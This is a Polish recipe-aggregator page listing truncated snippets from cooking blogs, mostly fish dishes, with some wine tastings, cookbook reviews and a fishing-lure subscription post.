Bajecznie jajeczna ryba 197

moja propozycja na pyszne i sycące śniadanie albo wczesną kolację. Danie szybkie, proste, wykwintne a zarazem bardzo proste. Polecam tak podaną rybę. Bajecznie jajeczna ryba. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Sałatka ziemniaczana z boczkiem 184

Sałatka ziemniaczana z dodatkiem boczku, jajek, w towarzystwie pikantnych porów i korniszonów. Można podać ją do grillowanych mięs, ryb czy warzyw. Składniki: 4-5 kremowych ziemniaków jednakowej wielkości 4 jajka 150 g parzonego boczku (w kawałku) kilka korniszonów 1 por (jasna część) mały kubek jogurtu naturalnego 1-2 łyżki majonezu 2 łyżeczki musztardy 1 łyżeczka majeranku sól i świeżo(...)majonezem, musztardą, posiekanym koperkiem, doprawiając do smaku sokiem z cytryny, solą i pieprzem. Odstawić do lodówki na minimum 30 minut, aby sałatka się przegryzła. Podawać do grillowanych mięs lub ryb

Czerwień i błękit
Zupa rybna 67

zbierałam się do przygotowania tej ryby aż w końcu wróciłam z zakupów ze świeżymi dorszami więc decyzja zapadła. Postanowiłam przygotować wariant z mieszanką smaków raczej niż dominującym smakiem ryby. Zneutralizowałam go dodając paprykę, dymkę i makaron jajeczny. Zupa jest smaczna i pożywna - z powodzeniem może samodzielnie stanowić lekki obiad czy kolację. Miłośnikom ostrej kuchni polecam doprawienie ulubionym ostrym

Milion Smaków
Donna Hay "Szybko, świeżo, prosto" - kilka słów o książce 174

ŚWIEŻO - klasyczne dania w nowej, świeżej odsłonie - np. sałatka Cezara czy caprese, burger, stek, makarony, pieczone kurczaki,  pieczone mięsa, jajka na grzankach, kurczak w cieście, zupy, pierożki, żeberka, ryby i krewetki. Na końcu działu również znajdują się słodkości - np. bananowo-karmelowe ciasto, kruchy placek z brzoskwiniami, pudding cytrynowy, panna cotta, creme brulee czy czekoladowe brownie. Trzeci dział - PROSTO(...)dział przedstawia kulinarne triki, aby z podstawowych składników stworzyć przepisy na każdą okazję. Tu znajdziemy przepis m.in na jagnięce kotlety, wiele makaronów, sałatek, dań z rybami, zupy, owoce morza, tarty, czy risotto. W tym dziale znajdziemy m.in. grillowanego kurczaka w za'atarze, którym zainpirowaliśmy się do wykonania tego wpisu - ( klik ). Ponownie na końcu działu znajdziemy słodkie przepisy - ciasto czekoladowe

Plate of Joy
Rybna potrawka z ryżem i warzywami 191

dowolnej ryby ½ łyżeczki słodkiej papryki ½ łyżeczki curry Szczypta cayenne 150 ml passaty pomidorowej 1 łyżka sosu sojowego ciemnego Przygotowanie: Ryż ugotować wg instrukcji na opakowaniu w osolonej wodzie. Rybę pokrojoną w kostkę i warzywa podsmażyć na łyżce oleju, w trakcie smażenia dodać sos sojowy, a następnie wlać passatę. Doprawić słodką papryką, cayenne oraz curry. Wymieszać z ugotowanym ryżem. Smacznego

Fabryka pomysłów
Miruna + ziemniaki z majerankiem + kabaczek = piątkowa propozycja obiadowa 147

propozycję idealną na piątkowy obiad, do tego bogaty w witaminy. Jak wiecie rybę powinno się jeść przynajmniej raz w tygodniu, dla tych którzy nie jedli jej dłużej ten oto obiadek.  Ziemniaki z majerankiem Składniki 1,5 kg ziemniaków 30 dag żółtego sera pół kostki margaryny majeranek sproszkowana papryka łagodna pieprz, sól Sposób Ziemniaki obrać pokroić w grube plastry. Naczynie(...)mące, jajku oraz bułce tartej.  3. Smażymy na rozgrzanym oleju z obu stron na rumiany kolor.  Miruna  Składniki 4 filety z miruny   przyprawa do ryb (osobiście daję delikat czerwony do mięs)  pieprz  sól maka  jajko bułka tarta olej  Sposób  Zamrożone filety należy rozmrozić. W dalszej kolejności przyprawiamy je sola

Kuchenne aromaty
Grillowany łosoś w kremowym sosie ze szparagami i grzybami i test patelni Ballarini / Grilled salmon with creamy asparagus and m 187

łatwość utrzymania jej w czystości oraz oryginalny wygląd. Zawarte w niej cząsteczki mineralne gwarantują wysoką odporność na uszkodzenia i zarysowania. Na grillowej patelni linii Lucca z łatwością przygotujesz mięso, ryby czy też warzywa – beztłuszczowo i wygodnie. Faktura dna patelni grillowej to charakterystyczne rowki, umożliwiające ściekanie wytopionego tłuszczu. Nadają one przygotowywanej potrawie wygląd dania z grilla. Patelnia grillowa zaopatrzona jest

karmelowy
Rozważania nad sadzonym jajem! 191

rozmiękczonymi warzywami sadzonymi z jajkiem dlatego warzywa kroję w paski lub talarki i dodaję na rozgrzaną patelnię po czym od razu wbijam jajko i smażę do ściętego białka. - z rybami z puszki W tej opcji polecam łososia lub tuńczyka w oleju. Nie używam wtedy dodatkowo masła lub oliwy gdyż ryby z puszki same w sobie są już nasączone

upichcona
Świąteczne przepisy od laureatów konkursu Zgotuj sobie sukces! 201

śmietanka 36%, masło Cukinia: cukinia zielona i żółta, czosnek, cebula, masło klarowane Chipsy z ziemniaka: słodkie ziemniaki, sól, olej, szałwia Puree z selera: seler, śmietana, masło, sól Sposób wykonania: Ryba:  Oczyszczony z łusek filet pstrąga przyprawić solą i wyciąć dwa równe romby. Na średnio rozgrzanej patelni ułożyć część masła klarowanego, dostosować do obrębu patelni arkusz pergaminu, który należy ułożyć(...)dnie patelni i ponownie dodać na górę odrobinę masła klarowanego. Na dobrze rozgrzanej patelni ułożyć rybę. Smażyć wyłącznie po stronie skóry.  Sos:  Ocet z białego wina wlać do rondelka i dodać liść laurowy oraz ziele angielskie. Ocet z ziołami redukować o połowę objętości. Śmietanę wlać do drugiego rondla i także redukować o połowę i połączyć z odcedzoną redukcją

Plate of Joy
Kaeng Massaman Kai – CURRY MASSAMAN Z KURCZAKIEM + BALLARINI LUCCA 228

wysepki, ciągnące się od Phuket po Koh Samui. Kuchnia południowej Tajlandii to przede wszystkim kalmary, krewetki , ośmiornice i wszystkie soczyste owoce, które rosną prawie wszędzie. To wysublimowane przepisy na ryby grillowane od razu po złowieniu, ale również wpływy kuchni malezyjskiej , czyli łagodne curry z orzeszkami ziemnymi i orzechami nerkowca . Ja dziś owocami morza częstować Was nie będę , ale zaproszę(...)wygodne w stosowaniu. Patelnia głęboka świetnie sprawdzi się zarówno jako rondel do duszenia sosów i potraw, naczynie do przyrządzania włoskiej pasty, jak i tradycyjna patelnia do smażenia kotletów czy ryb. Dwa ergonomiczne uchwyty ułatwią manewrowanie patelnią. Są one wykonane z tworzywa sztucznego i odporne na temperaturę do 160 stopni – możliwość stosowania w piekarniku. WŁAŚCIWOŚCI: Cząsteczki mineralne zawarte w powłokach

Ostra na Słodko
Ramen po mojemu 151

daniem tej kuchni znanym na świecie prawie tak samo jak sushi, choć oryginalnie pochodzi... z Chin. Zanim dotarł do Kraju Kwitnącej Wiśni, jadało się tam głównie zupy na bazie ryb, a nie - jak ramen - na mięsie. Tak przynajmniej brzmi jedna z wielu historii dotyczących pochodzenia ramen. Największą popularność ramen zdobył po II wojnie światowej, kiedy w Japonii pojawiła się(...)przypieczętowało wynalezienie makaronu błyskawicznego przez Momofuku Ando w 1958 r. Ramen nie ma jednego, sformalizowanego przepisu - przyrządza się go zarówno na bazie kości lub mięsa wieprzowego, drobiu, jak i ryb. Różne są też dodatki: grillowana wieprzowina, szczypior,  gotowane na twardo  jaja, kiełki fasoli, pędy bambusa, suszone glony nori, czy kukurydza. Ramen doprawia się sosem sojowym lub też

W SMAK
Zupka warzywna z rybą i ryżem dla niemowlaków 148

było ze starszą córką. Zupkę z rybą też zjada bardzo ładnie. Każdą zupkę, jaką gotuję mam na dwa dni i nie narzekam jak to niektóre mamy, że szkoda czasu na stanie przy garach. Ugotowanie posiłku dla takiego maluszka naprawdę zajmuje bardzo mało czasu. Składniki: 1 nieduży ziemniak 1/2 marchewki 1/3 pietruszki kawałek ryby (u mnie łosoś, miruna lub dorsz(...)łyżki ryżu 1 łyżeczka siekanego koperku 1 łyżeczka masła woda Sposób wykonania: 1. Obrane i pokrojone warzywa oraz rybę przekładamy do garnuszka, zalewamy wodą i gotujemy. 2. Jak wszystko będzie lekko miękkie dodajemy ryż, masło i koperek. Gotujemy na wolnym ogniu, uzupełniamy wodę w razie potrzeb. 3. Gotową zupkę miksujemy. Smacznego

Kuchnia domowa Ani
Rukola na ciepło 196

naszym domu podzielone - mnie smakowało bardzo, mojemu mężowi nieco mniej. Tak czy inaczej to świetny pomysł na zagospodarowanie nawet lekko przywiędłej rukoli. Lekko ostrawe zielsko, dobry dodatek do ryb czy mięs. Polecam! Przepis z książki "Istanbul" Rebecca Seal składniki 300 g rukoli masło 1 świeża papryczka chili, lub do smaku 1 łyżeczka soku z cytryny sól i świeżo zmielony(...)zwiędnie - to zajmie parę minut. Zdjąć patelnię z ognia odlać powstały płyn, dodać posiekaną chili, sok z cytryny, doprawić solą i pieprzem. Podawać gorące jako dodatek do mięsa lub ryby. Smacznego

Stare Gary
Kotlety siekane z łososia 128

Moim zdaniem łosoś to jedna z najlepszych ryb. Możemy go przygotować na bardzo wiele sposobów. Smażony, pieczony, gotowany, grillowany, w sałatkach, zupach, pastach… każdy będzie wspaniały. Jako danie główne, kolacja, przystawka – jednym słowem możliwości są nieograniczone. Kotlety siekane z łososia.   Składniki: - filet z łososia ok. 600g - 2 jajka - 1,5 czerstwej bułki (najlepsza 3 dniowa kajzerka

mojewypiekiinietylko
Recenzja książki "Gotowanie po włosku w 20 minut" Gino D'Acampo 174

się znaleźć. Jednak najważniejsze jest to, że przepisy mnie nie rozczarowały. Różnorodne, bardzo apetyczne, nieskomplikowane. Podzielone na rozdziały według podstawowego składnika, mamy tu więc dania z kurczaka, różnych mięs, ryb i owoców morza, dania makaronowe, warzywne, a dodatkowo zupy i przystawki oraz desery. Z pewnością każdy znajdzie tu coś dla siebie. Nie są to jednak tradycyjne przepisy kuchni włoskiej(...)proste - ładnie wydana - bardzo apetyczne zdjęcia - przejrzysta prezentacja przepisów Minusy: - Nie wszystkie produkty mogą być u nas osiągalne, np. gotowa polenta w kawałku, ryż do gotowania w kuchence mikrofalowej, ryby tupu morlesz czy barwena. Jest też kilka przepisów z wykorzystaniem drogiej i trudno dostępnej w Polsce jagnięciny, która akurat w Wielkiej Brytanii jest popularna. Podsumowanie Książka "Gotowanie po włosku

Chilli Czosnek i Oliwa
MAJÓWKA I TESTOWANIE SUBSKRYCJI SUB CLUB 111

porze roku. W zestawie znalazły się woblery, błystki, przynęty gumowe..Wszystko co wędkarz powinien zabrać ze sobą podczas wypraw nad wodę. Przynęty się sprawdziły, na pewno są skuteczne, bo ryby na nie brały. Co prawda mniejsze ,ale juz widać że są skuteczne, mają wzięcie .Wymiar ochronny szczupaka w Naszych wodach wynosi 50 cm- rybki oczywiście wróciły do wody(...)jest subskrycja boxów, czyli po pierwszym zakupie każdego miesiąca kolejną paczuszkę dostaniesz prosto do domu, w każdej znajdą się kolejne zestawy dopasowane do odpowiedniej pory roku, gatunków aktualnie łowionych ryb.  Polecamy wszystkim takie subskrycje. W ofercie każdy znajdzie coś dla siebie, ponieważ do dyspozycji mamy wiele możliwości : *BAKEO- ze zdrowymi przekąskami *SHINYBOX-najlepsze kosmetyki *BOOK BOX PLUS

Z Majeczką w kuchni
Kuchnia skandynawska i sandacz z burakami 174

czas najwyższy zdradzić, jaka kuchnia w tym miesiącu będzie tematem przewodnim W Kuchni Wieczorem . Zapraszam Was na kilka wpisów z daniami ze Szwecji, Danii i Norwegii. Surowy klimat, sporo ryb, proste przyprawy jak sól, pieprz, czosnek, szczypior czy koperek, ale również pieczywo i doskonale znane nam warzywa. To wszystko będzie się pojawiać w tym miesiącu. Możecie liczyć na sławne(...)Wymieszać. Na talerzach ułożyć sałatkę z buraków, szpinak, sandacza skóra do góry. Wymieszać śmietanę z sokiem z cytryny i szczyptą soli. Położyć po 1-2 łyżkach śmietany na wierzchu ryby

W kuchni wieczorem
Pstrąg łososiowy z grzybami z patelni 150

Szybki i wartościowy obiad w kilka minut. Polecam tak przyrządzone ryby bo to szybko i zdrowo a grzybów użyjcie ulubionych. Na naszym talerzu wylądowały gołąbki białozielone zwane też siwkami. Czasami w takiej prostocie największa siła. Pstrąg łososiowy z grzybami z patelni. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Zdrowe grillowanie 160

przesadzajmy z procentami, w ten sposób pobudza nasz apetyt i tym samy jemy po prostu więcej  tłustą kiełbaskę, boczek czy karkówkę zastąpmy chudym mięsem m.in pierś z kurczaka, ryby, wołowina jedzmy dużo warzyw- zawierają dużo wody, więc są nisko kaloryczne  zioła i przyprawy - idealnie nadadzą się do marynat i sosów  fit desery - zamiast ciężkich ciast(...)świeża rukola lub sałata, pomidorki koktajlowe, nasiona dyni z oliwą z oliwek lub innym zdrowym olejem  filety z kurczaka w marynacie z ziołami i oliwą z oliwek grillowane ryby np. pstrąg z cytryną i czosnkiem, łosoś w ziołach  szaszłyki z mięsem lub warzywami czy owocami grillowane warzywa np. cukinia, pieczarki lub bakłażan  grillowane owoce np banan

Truskawkowa Fiesta
Łosoś z pistacjami 151

Łosoś to moja ulubiona ryba. Uważam, że wymaga prostych dodatków, tylko wtedy jest naprawdę smaczny. Panierka i rozgrzany tłuszcz zdecydowanie mi do niego nie pasują, dlatego wybieram dwie opcje: pieczenie lub grillowanie. Z prażonymi pistacjami, mocno cytrynowy okazał się przepyszny, na pewno jeszcze nie raz powtórzę ten przepis.  2 filety z łososia 100g prażonych pistacji 1 cytryna sól, pieprz(...)obieramy i miksujemy w blenderze na niezbyt drobne kawałki (można również włożyć je do woreczka foliowego i rozbić tłuczkiem).  5. Piekarnik rozgrzewamy do 200 stopni. Tuż przed włożeniem ryby do piekarnika, obsypujemy ją obficie pokruszonymi pistacjami. Pieczemy przez około 20 minut

Szefowa kuchni
Pieczony pstrąg tęczowy. 226

Pieczony pstrąg tęczowy i frytki! Pomysł jak obniżyć kaloryczność popularnego dania. Zamiast smażyć - piecz! Pieczona ryba smakuje o wiele wyborniej niż ta smażona. Rybę aby była soczysta wstawiaj zawsze do gorącego pieca np. 200 - 220 stopni C i piecz w krótkim czasie, w zależności od wielkości nawet od 8 minut do 20 max. Ziemniaczki, frytki lub warzywa zawsze dokładnie myjemy(...)sól PSTRĄG TĘCZOWY PIECZONY: - 1 szt. pstrąga tęczowego (lub filet) - 2 łyżki oliwy z oliwek, łyżka klarowanego masła, sól morska,  Z w/w składników robimy w kubeczku marynatę, zalewamy rybę. Wstawiamy na 20 minut do lodówki. Układamy na pergaminie i pieczemy 12- 15 minut w temp. 210 stopni C. FRYTKI PIECZONE: - gotowe frytki lub pokrojone w cienkie paseczki ziemniaczki Układamy

SMYKWKUCHNI
Pasta rybno jajeczna. Śledzie w pomidorach Łosoś Ustka. 194

jaka 1 kiszony ogórek  pół czerwonej cebuli łyżka majonezu 2 łyżki jogurtu naturalnego sól pieprz Jajka, cebulę i ogórka kroimy w kosteczkę. Do miski wrzucamy rybę z sosem i rozgniatamy widelcem. Do ryby dodajemy pokrojone jajka, cebulę i ogórka oraz majonez i jogurt naturalny. Wszystko razem mieszamy. Doprawiamy do smaku. Śniadanie idealne! :) Smacznego!  Skomentuj

MamaOskarka
Karp w marynacie 134

Cebule pokroić w krążki. Włożyć do wody, dodać przyprawy i ugotować aż będą al dente. Wlać ocet, zagotować. Gotować pod przykryciem. Doprawić do smaku solą i cukrem. Ostudzić. Zimną rybę ułożyć w wyparzonym słoiku, zalać zimną marynatą. Odstawić w chłodne miejsce na 3-4 dni. Karp w marynacie może stać około tygodnia. Normal 0 21 false false false(...)font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-fareast-language:EN-US;} polecam inne dania z rybą w roli głównej: karp smażony karp w szarym sosie karp w galarecie jesiotr w galarecie ryba w pomidorach   oraz dania wigilijne Wigilia w królestwie garów   zastawa

królestwo garów
Ryba w pomidorach 101

sztuk pieprzu czarnego, 10 ziaren kolendry, sok z cytryny, sól, cukier, olej do smażenia, Płaty umyć osuszyć, oprószyć lekko solą i skropić sokiem z cytryny. Smażyć   na oleju. Rybę ułożyć na półmisku do ostudzenia. Cebule obrać, pokroić w półplasterki, podsmażyć na oleju dodając szczyptę soli i cukru. Następnie wlać około 200 ml wody, przyprawy i dusić aż cebula zmięknie(...)Dodać pomidory, dusić jeszcze około 15 minut, doprawić do smaku solą, ewentualnie cukrem. Ostudzić. Zimną rybę ułożyć w naczyniu i zalać sosem. Sosu musi być dużo :) Odstawić na co najmniej 12 godzin.   Normal 0 21 false false false PL X-NONE X-NONE /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size

królestwo garów
Go West – Odkryj wina Kalifornii. 106

kraby, ale to banał. Mogą być również ryby w sosach maślanych, sałatki rybne, ceviche, lub łosoś w lekkim sosie holenderskim. Sauvignon Blanc powinien dobrze wypaść w towarzystwie grillowanych ryb np. łososia oraz białych mięs. Oczywiście każde wino można pić również samo, ważne jest dobre towarzystwo. Kalifornijskie wina powinny sprawdzić się w każdej sytuacji. Ważne jest by je odkrywać

królestwo garów
Dorada pieczona z chrzanem 77

Podsmażyć z obu stron do zrumienienia (około 5 minut). Śmietanę wymieszać z żółtkiem, dodać chrzan, wymieszać. Doprawić solą, pieprzem i sokiem z cytryny. Naczynie do zapiekania wysmarować oliwą, ułożyć rybę, polać sosem. Wstawić do piekarnika nagrzanego do 180 stopni na 25 - 35 minut. Aby sprawdzić czy ryba jest upieczona należy metalowym szpikulcem ją nakłuć. Jeżeli szpikulec wyjęty po 10 sekundach(...)będzie ciepły oznacza, że ryba jest gotowa.   zastawa

królestwo garów
Pstrąg pieczony z pieczarkami 103

pstrągi, sok z cytryny, sól, pieprz, 300 g pieczarek, 300 ml śmietany 18%, 2 żółtka, masło, 60 g tartego parmezanu Ryby oczyścić, usunąć skrzela i ewentualnie oczy, umyć, osuszyć. Oprószyć solą, pieprzem i skropić sokiem(...)cytryny. Pieczarki oczyścić, umyć. Pokroić wzdłuż na pół a następnie w półplasterki. Podsmażyć na 2 łyżkach masła. Śmietanę wymieszać z żółtkami. Formę do pieczenia wysmarować masłem.    Ułożyć rybę, obsypać pieczarkami. Zalać śmietaną, posypać parmezanem. Wstawić do piekarnika nagrzanego do 180 stopni na 35-40 minut.   zastawa

królestwo garów
„Flavours of Portugal” - Esporão 113

szukano różnych sposobów przechowywania żywności podczas długich podróży. „Pod koniec XV wieku portugalski żeglarz Jo ã o Fernandes Lavrador powrócił z wyprawy do Nowego Świata z ładowniami pełnymi zasolonych ryb. Mimo upływu czasu wciąż nadawały się do spożycia(...)był przełomowy moment wyznaczający nową epokę dla rybaków, kupców i kucharzy.” Od tego czasu Bacalhau króluje na portugalskich stołach. I nie ma się co dziwić, jest to naprawdę wyśmienita ryba. Do niego podano Esporão Private Selection White 2010 – stanowiło to idealne połączenie. Po rybie przyszedł czas na mięso, Miguel Vaz zaserwował nam iberyjską wieprzowinę confit, ziemniaki i oliwki

królestwo garów
Makrela pieczona 77

solą, pieprzem, skropić sokiem z cytryny i odstawić na co najmniej 30 minut. Koper pokroić w cienkie plastry. Naczynie do zapiekania skropić oliwą, ułożyć część kopru, położyć na nim rybę. Do środka i na wierzchu ułożyć resztę kopru. Skropić oliwą. Wstawić do piekarnika nagrzanego do 180 stopni na 30 – 40 minut. Aby sprawdzić czy ryba jest upieczona należy metalowym szpikulcem(...)nakłuć. Jeżeli szpikulec wyjęty po 10 sekundach będzie ciepły oznacza, że ryba jest gotowa.   zastawa

królestwo garów
Poznaj Hiszpanię i Portugalię w tydzień z Lidlem 106

winogron odmian Parellada, Xarello i Macabeo. Dominujące aromaty owocowe ( zielone jabłka ) oraz migdały i toffi. Dobrze schłodzone można pić od rana do wieczora samo lub z daniami z ryb i drobiu. „ Pyrene” Chardonnay(...)Pachnie owocowo ananasem, gruszką , zielonym jabłkiem, Bardzo rześkie i orzeźwiające. Polecane schłodzone do drobiu. „ Mezquiris” Chardonnay 2013 – 14,99 zł. Tym razem z Navarry. Do ryby, drobiu oraz lekkich dań z dziczyzny. „ Velada” Moscatel 2013 – 16,99 zł. Z regionu Valencia. Półwytrawne. Powstało z winogron szczepu Moscatel. Dominują słodkie aromaty owoców cytrusowych ( brzoskwinie , morele ) w ustach lekkie nuty słodyczy

królestwo garów
V Ogólnopolski Salon Win i Alkoholi M&P 119

Poważniejsze” niż poprzednie. Znajdujemy w nim owoce cytrusowe i kwiaty. W ustach cieliste, krągłe i eleganckie z przyjemnym długim finiszem. Doskonale będzie smakować z daniami z drobiu i rybami. Na koniec wino półsłodkie Villa Dria Gros Manseng. 100% typowej dla Gaskonii odmiany Gros Manseng. Wino jest bardzo aromatyczne. Pachnie cytrusami, owocami tropikalnymi, kwiatami oraz kandyzowanymi owocami. W ustach aksamitne(...)Stefani. De Stefani Venis Sauvignon Blanc. Dominują aromaty owocowe i kwiatowe. W smaku jest orzeźwiające z przyjemną mineralnością. Świetnie skomponuje się z warzywnymi pastami i lekkimi daniami z ryb. Będzie doskonałym partnerem dla wszystkich potraw ze szparagami.    De Stefani Vitalys Chardonnay. W nosie dominują aromaty jabłek, brzoskwiń, moreli i migdałów. W ustach jest przyjemnie, delikatne z subtelnym

królestwo garów
Navajas – iberyjska uczta 288

udaliśmy do Julity z wrzącej kuchni, gdzie przygotowaliśmy kolację. A Portugalia Gourmet zapewniło nam wino i w ten oto sposób … powstała kolacja iberyjska, gdzie portugalskie wino świetnie uzupełniło hiszpańskie ryby i owoce morza oraz hiszpańskie wędliny i sery. Wśród otrzymanych produktów znalazły się: - navajas; - ośmiornica – można kupić już ugotowaną, dzięki czemu jest zawsze miękką, delikatna i pyszna. Wystarczy(...)Nova Kwiatowo-owocowe, słodko pachnące wino z Alentejo. Mimo pewnego ciężaru gatunkowego nie brakuje mu świeżości. Wino pozostawia posmak owoców (cytrusy, pigwa) i wanilii. Świetnie uzupełnia potrawy z pieczonych ryb, małży czy krewetek z grilla. Berek Branco 2013, Douro DOC, Niepoort Wino od renomowanego producenta z Douro – najbardziej rozpoznawalnego regionu winiarskiego Portugalii. Cieszy bardzo delikatnym, finezyjnym i eleganckim stylem

królestwo garów
Alto Adige – Wina z Południowego Tyrolu 147

chłodnego klimatu zbiór jest późny następuje w połowie października. Mała wydajność 45 hl/ha. Nos bardzo przyjemy mineralno – kamienny. Wino soczyste, pikantne, długie i bardzo dobre. Polecane do dań z ryb. Peter Zemmer - Punggl Pinot Bianco Alto Adige 2013. Ciepłe siedlisko. Punggl oznacza wzgórek. Winnica położona na dnie doliny Adygi. Wydajność 60 hl/ha. Fermentacja częściowo w stali częściowo w dużych(...)słoneczną. Spory 14,5% alkohol. Aromatyczne - dominują zapachy kwiatowe bzu oraz akacji. W ustach dominują nuty owocowe oraz kwiatowe. Dobrze zrównoważone. Można polecić do serów, potraw z kurczaka i ryb, makaronów z lekkimi sosami oraz owoców morza. Tenuta J.Hofstätter -Joseph Gewürztraminer Alto Adige 2013. Wino pochodzi z winnicy w Tramin/Termeno uważanej kiedyś za kolebkę gewürztraminera. Jest to największa

królestwo garów
Odkrywamy kalifornijskie wina II 140

passiflory, które rozciągają się po podniebieniu. Tekstura tego wina jest odpowiednia, z pewną dodatkową lepkością na przodzie oraz oczyszczającym finiszem, charakterystycznym dla klasycznych win Sauvignon Blanc. Doskonałe do ryb, owoców morza oraz potraw z białego mięsa. Importer:PWW Sp. z o.o. Panamera Chardonnay 2012 Region: California Aromaty cytryny, gruszki i jabłka, z nutą wanilii i cynamonu. Pyszne smaki dojrzałych(...)dojrzałych jabłek. Nos otwiera pikantne zapachy toffi i wanilii, a następnie zaskakuje egzotycznymi nutami przypraw i melona. Wino wprost stworzone do rozmaitych połączeń z jedzeniem. Będzie pasować do ryb, risotto z kurkami, makaronów z dodatkiem śmietanowych sosów czy drobiu. Importer: Wine Avenue (Rohlig Suus Logistics SA) Marimar Estate, La Masia Chardonnay 2009 Region: Russian River. Do fermentacji trafiają tylko

królestwo garów
sushi lodowe i Filippo Novelli 137

Sushi... z czym nam się kojarzy? Danie kuchni japońskiej z ryżu zaprawionego octem ryżowym z dodatkami: owocami morza, rybami, omletem, warzywami...oraz wodorostami nori. Od jakiegoś czasu można zjeść sushi lodowe. Twórcą ich jest Filippo Novelli. Kucharz z zawodu, sommelier, degustator serów...cukiernik z pasji. Lubi poznawać nowe smaki. Sushi lody są połączeniem włoskich lodów (Filippo Novelli jest Włochem(...)międzynarodowym konkursie w branży lodziarskiej. Filippo Novelli opracował metodę tworzenia lodowych smakołyków. Robi lody o smaku czekolady z dodatkiem wasabi, lody z ryżu, zdobi owocowym „kawiorem”, układa owocowe płaty ryb (soki owocowe żeluje agarem) i owija je w "glony" z masy cukrowej. Do nadania pożądanych kształtów używa formy silikonowe, które sam zaprojektował. Miałam przyjemność uczestniczyć w dwóch pokazach, podczas

królestwo garów
Słodko pikantna salsa. Lekki dodatek doskonały do ryb i mięs z grilla czy zwykłych chipsów 156

proszku - do rozrobienia. Smaczne są przeważnie - jednak co w nich jest - strach czytać na etykiecie. Oto pomysł na domowy sos, który doskonale nada się jako dodatek do ryb i mięs grillowanych lub pieczonych oraz przekąsek typu tortille czy chipsy. Do przygotowania w kilka minut, bez zbędnych zakupów. Składniki (na niewielką miseczkę):  3-4 plastry ananasa (może być(...)upodobań i przeznaczenia sosu. Zbliża się majówka - czas wielkiego grillowania. Jeśli tylko pogoda dopisze to doskonały moment na wypróbowanie tego dodatku. Nada się zarówno do mięs jak i ryb z rusztu . Dip znajdzie wiele zastosowań w kuchni. Wystarczy dać się ponieść fantazji przy jego produkcji i dopasować go do własnego podniebienia

Kuchnia po mojemu
Smaki Islandii - tłuszcz z wieloryba 102

Kuchnia Islandii a zwłaszcza ta tradycyjna jest kuchnią prostą, opierającą się przede wszystkim na rybach, baraninie i jagnięcinie. Ale nie każdy wie, że można tam również spróbować dużo dziwnych i oszałamiających smakołyków. Justyna, mama chrzestna mojego synka obecnie mieszka na Islandii. Była tak miła, że przysłała nam kilka lokalnych smakołyków. Muszę powiedzieć, że jestem pod wrażeniem. Otrzymałam również(...)może być smak tej galarety). Gdy się go je konsystencją przypomina galaretę. Momentami wyczuwa się kremowy śmietankowy smak, jest on delikatny ale wyczuwalny. Smalec ten ma delikatny aromat ryby. To już rozpakowany tłuszczyk. Wkoło jest galareta. Więc jak go przygotować? Nie mam zielonego pojęcia. Może się go je na surowo a może trzeba jakoś go obrobić. Próbowałam odkroić kawałek

Mama Gotuje
Morska zupa pomidorowa z krewetkami i rybą 119

razem postanowiłam wykorzystać końcówki z zamrażarki :D  Zupa pomidorowa z krewetkami, rybą i makaronem na ostro SKŁADNIKI: 250g  krewetek koktajlowych 2 filety ryby morskiej, bez ości łyżka oliwy z oliwek 1 średnia cebulka, pokrojona w kosteczkę 2 ząbki czosnku, drobno posiekane 2 papryczki chilli (lub 1 jak ktoś nie lubi piekielnie ostrego smaku) 1 puszka pomidorów(...)następnie wlać bulion, sok z cytryny. Zagotować, dodać krewetki, dorsza. Delikatnie wymieszać, przykryć pokrywą i gotować na niezbyt dużym ogniu przez około 5-8 minut, aż krewetki i ryba będą ugotowane. Podawać z makaronem i świeżą pietruszką. SMACZNEGO

MarciochaKucharzy
Zapiekanka z rybą i brokułami 96

Delikatna i syta Zapiekanka z rybą i brokułami SKŁADNIKI: 4 filety z ryby ( np mintaja) brokuł pomidorki koktajlowe oliwki 2 ząbki czosnku serek topiony  400 ml śmietany tarty ser zółty sól, pieprz, oregano Różyczki brokuła i rybę najlepiej podgotować na parze. W dwóch naczyniach żaroodpornych umieścić po połowie wszystkich składników. Śmietanę wymieszać z serkiem topionym, tartym serem żółtym

MarciochaKucharzy
Łosoś na puree z kalafiora 136

także z dodatkiem chrupiącej surówki czy pieczonych warzyw. Puree kalafiorowe jest znacznie delikatniejsze niż to tradycyjne ziemniaczane, dlatego warto przyprawić je wyrazistym parmezanem i gałką. Idealnie komponuje się z rybą. Łosoś na puree z kalafiora: 4 filety z łososia oliwa z oliwek (np. aromatyzowana truflą) skórka + sok wyciśnięty z połowy cytryny zioła prowansalskie sól morska, świeżo mielony pieprz Puree(...)użyłam oliwy z dodatkiem trufli, ale może być zwykła). Smażymy łososia (pierwsza strona pod przykryciem) przez około 3-4 minuty z każdej strony – dokładny czas zależy od grubości ryby. Podajemy z przygotowanym puree. Post Łosoś na puree z kalafiora pochodzi z bloga Poezja smaku

Poezja smaku
La Boqueria 95

ominięcia. Codziennie kusi tłumy ludzi świeżymi owocami (również tymi z morza), warzywami, rybami oraz mięsem. Już przy wejściu barwy i zapachy otaczają z każdej strony. Przy stoiskach z rybami i owocami morza

Pink Envelope
Sos marchewkowo-groszkowy z grillowanym dorszem. 591

Grillowany dorsz z sosem marchewkowo - groszkowym to poezja smaku. Kremowy smak sosu zachwycił cała moją rodzinkę. Sos idealny do ziemniaków i  ryżu. Dodatkiem do sosu może być ryba, kurczak- smażony lub grillowany, tak jak lubimy najbardziej. Potrawa jest prosta w wykonaniu i najważniejsze - uwielbiana przez mojego synka :) Polecam. Składniki: 3 marchewki puszka groszku 200 ml śmietany 200 ml bulionu(...)kurczakowego lub warzywnego 2-3 łyżki masła 2 łyżki mąki Dorsz 2-3 filety lub inna ulubiona ryba 2 jajka przyprawy Wykonanie: Rozbijamy jajka w talerzu, dodajemy sól, pieprz, paprykę i trochę suszonego lub świeżego kopru. Mieszamy i do jajek dodajemy poporcjowaną rybę. Odstawiamy . Marchewkę kroimy w kostkę, Do gotującego się bulionu dodajemy marchewkę- gotujemy 5-8 min. Marchewka

Smaki Edyty
Kotlety rybne z pieczonego dorsza 208

